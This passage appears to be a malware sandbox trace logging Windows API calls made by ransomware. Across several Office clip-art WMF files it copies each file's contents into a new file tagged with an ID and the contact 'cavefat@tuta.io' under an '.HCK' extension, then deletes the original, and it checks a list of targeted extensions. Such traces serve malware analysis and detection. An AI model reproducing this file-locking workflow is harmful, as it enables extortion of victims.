nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.282] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.282] SetEndOfFile (hFile=0x3bc) returned 1 [0243.282] CloseHandle (hObject=0x3bc) returned 1 [0243.283] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.283] SetEndOfFile (hFile=0x564) returned 1 [0243.499] CloseHandle (hObject=0x564) returned 1 [0243.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf")) returned 1 [0243.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0243.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0243.900] lstrlenW (lpString=".doc") returned 4 [0243.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.900] lstrlenW (lpString=".docx") returned 5 [0243.900] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0243.900] lstrlenW (lpString=".pdf") returned 4 [0243.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.900] lstrlenW (lpString=".xls") returned 4 [0243.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.900] lstrlenW (lpString=".xlsx") returned 5 [0243.900] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0243.900] lstrlenW (lpString=".ppt") returned 4 [0243.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0243.900] lstrlenW (lpString=".zip") returned 4 [0243.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.900] lstrlenW (lpString=".rar") returned 4 [0243.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.900] lstrlenW (lpString=".bz2") returned 4 [0243.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.900] lstrlenW (lpString=".7z") returned 3 [0243.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0243.900] lstrlenW (lpString=".dbf") returned 4 [0243.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0243.900] lstrlenW (lpString=".1cd") returned 4 [0243.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0243.900] lstrlenW (lpString=".jpg") returned 4 [0243.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0243.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0243.901] lstrlenW (lpString=".doc") returned 4 [0243.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.901] lstrlenW (lpString=".docx") returned 5 [0243.901] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0243.901] lstrlenW (lpString=".pdf") returned 4 [0243.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.901] lstrlenW (lpString=".xls") returned 4 [0243.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.901] lstrlenW (lpString=".xlsx") returned 5 [0243.901] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0243.901] lstrlenW (lpString=".ppt") returned 4 [0243.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0243.901] lstrlenW (lpString=".zip") returned 4 [0243.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.901] lstrlenW (lpString=".rar") returned 4 [0243.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.901] lstrlenW (lpString=".bz2") returned 4 [0243.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.901] lstrlenW (lpString=".7z") returned 3 [0243.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0243.901] lstrlenW (lpString=".dbf") returned 4 [0243.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0243.901] lstrlenW (lpString=".1cd") returned 4 [0243.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0243.901] lstrlenW (lpString=".jpg") returned 4 [0243.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.901] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0243.901] lstrlenW (lpString="J0188519.WMF") returned 12 [0243.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.207] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=5824) returned 1 [0244.207] CloseHandle (hObject=0x454) returned 1 [0244.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf")) returned 0x220 [0244.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.209] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.209] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0244.210] GetLastError () returned 0x0 [0244.210] ReadFile (in: hFile=0x454, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x16c0, lpOverlapped=0x0) returned 1 [0244.212] WriteFile (in: hFile=0x2d0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0244.212] ReadFile (in: hFile=0x454, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.212] WriteFile (in: hFile=0x2d0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.212] SetEndOfFile (hFile=0x2d0) returned 1 [0244.213] CloseHandle (hObject=0x2d0) returned 1 [0244.213] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.213] SetEndOfFile (hFile=0x454) returned 1 [0244.215] CloseHandle (hObject=0x454) returned 1 [0244.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf")) returned 1 [0244.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0244.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0244.216] lstrlenW (lpString=".doc") returned 4 [0244.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.216] lstrlenW (lpString=".docx") returned 5 [0244.216] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0244.216] lstrlenW (lpString=".pdf") returned 4 [0244.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.216] lstrlenW (lpString=".xls") returned 4 [0244.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.216] lstrlenW (lpString=".xlsx") returned 5 [0244.216] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0244.216] lstrlenW (lpString=".ppt") returned 4 [0244.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0244.216] lstrlenW (lpString=".zip") returned 4 [0244.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.216] lstrlenW (lpString=".rar") returned 4 [0244.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.217] lstrlenW (lpString=".bz2") returned 4 [0244.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.217] lstrlenW (lpString=".7z") returned 3 [0244.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0244.217] lstrlenW (lpString=".dbf") returned 4 [0244.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0244.217] lstrlenW (lpString=".1cd") returned 4 [0244.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0244.217] lstrlenW (lpString=".jpg") returned 4 [0244.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0244.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0244.217] lstrlenW (lpString=".doc") returned 4 [0244.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.217] lstrlenW (lpString=".docx") returned 5 [0244.217] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0244.217] lstrlenW (lpString=".pdf") returned 4 [0244.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.217] lstrlenW (lpString=".xls") returned 4 [0244.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.217] lstrlenW (lpString=".xlsx") returned 5 [0244.217] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0244.217] lstrlenW (lpString=".ppt") returned 4 [0244.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0244.217] lstrlenW (lpString=".zip") returned 4 [0244.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.217] lstrlenW (lpString=".rar") returned 4 [0244.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.217] lstrlenW (lpString=".bz2") returned 4 [0244.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.217] lstrlenW (lpString=".7z") returned 3 [0244.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0244.217] lstrlenW (lpString=".dbf") returned 4 [0244.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0244.217] lstrlenW (lpString=".1cd") returned 4 [0244.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0244.218] lstrlenW (lpString=".jpg") returned 4 [0244.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.218] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0244.218] lstrlenW (lpString="J0195248.WMF") returned 12 [0244.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.219] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=7332) returned 1 [0244.219] CloseHandle (hObject=0x454) returned 1 [0244.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf")) returned 0x220 [0244.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.220] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.220] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0244.220] GetLastError () returned 0x0 [0244.221] ReadFile (in: hFile=0x454, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1ca4, lpOverlapped=0x0) returned 1 [0244.222] WriteFile (in: hFile=0x2d0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0244.222] ReadFile (in: hFile=0x454, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.222] WriteFile (in: hFile=0x2d0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.222] SetEndOfFile (hFile=0x2d0) returned 1 [0244.223] CloseHandle (hObject=0x2d0) returned 1 [0244.223] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.223] SetEndOfFile (hFile=0x454) returned 1 [0244.224] CloseHandle (hObject=0x454) returned 1 [0244.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf")) returned 1 [0244.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0244.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0244.226] lstrlenW (lpString=".doc") returned 4 [0244.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.226] lstrlenW (lpString=".docx") returned 5 [0244.226] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0244.226] lstrlenW (lpString=".pdf") returned 4 [0244.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.226] lstrlenW (lpString=".xls") returned 4 [0244.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.226] lstrlenW (lpString=".xlsx") returned 5 [0244.226] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0244.226] lstrlenW (lpString=".ppt") returned 4 [0244.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0244.226] lstrlenW (lpString=".zip") returned 4 [0244.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.226] lstrlenW (lpString=".rar") returned 4 [0244.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.226] lstrlenW (lpString=".bz2") returned 4 [0244.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.226] lstrlenW (lpString=".7z") returned 3 [0244.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0244.226] lstrlenW (lpString=".dbf") returned 4 [0244.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0244.226] lstrlenW (lpString=".1cd") returned 4 [0244.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0244.226] lstrlenW (lpString=".jpg") returned 4 [0244.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0244.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0244.227] lstrlenW (lpString=".doc") returned 4 [0244.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.227] lstrlenW (lpString=".docx") returned 5 [0244.227] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0244.227] lstrlenW (lpString=".pdf") returned 4 [0244.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.227] lstrlenW (lpString=".xls") returned 4 [0244.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.227] lstrlenW (lpString=".xlsx") returned 5 [0244.227] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0244.227] lstrlenW (lpString=".ppt") returned 4 [0244.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0244.227] lstrlenW (lpString=".zip") returned 4 [0244.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.227] lstrlenW (lpString=".rar") returned 4 [0244.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.227] lstrlenW (lpString=".bz2") returned 4 [0244.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.227] lstrlenW (lpString=".7z") returned 3 [0244.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0244.227] lstrlenW (lpString=".dbf") returned 4 [0244.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0244.227] lstrlenW (lpString=".1cd") returned 4 [0244.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0244.227] lstrlenW (lpString=".jpg") returned 4 [0244.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.227] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0244.227] lstrlenW (lpString="J0195254.WMF") returned 12 [0244.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.229] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=4534) returned 1 [0244.229] CloseHandle (hObject=0x454) returned 1 [0244.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf")) returned 0x220 [0244.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.229] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.229] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0244.230] GetLastError () returned 0x0 [0244.230] ReadFile (in: hFile=0x454, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x11b6, lpOverlapped=0x0) returned 1 [0244.232] WriteFile (in: hFile=0x2d0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x11c0, lpOverlapped=0x0) returned 1 [0244.232] ReadFile (in: hFile=0x454, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.232] WriteFile (in: hFile=0x2d0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.233] SetEndOfFile (hFile=0x2d0) returned 1 [0244.233] CloseHandle (hObject=0x2d0) returned 1 [0244.233] 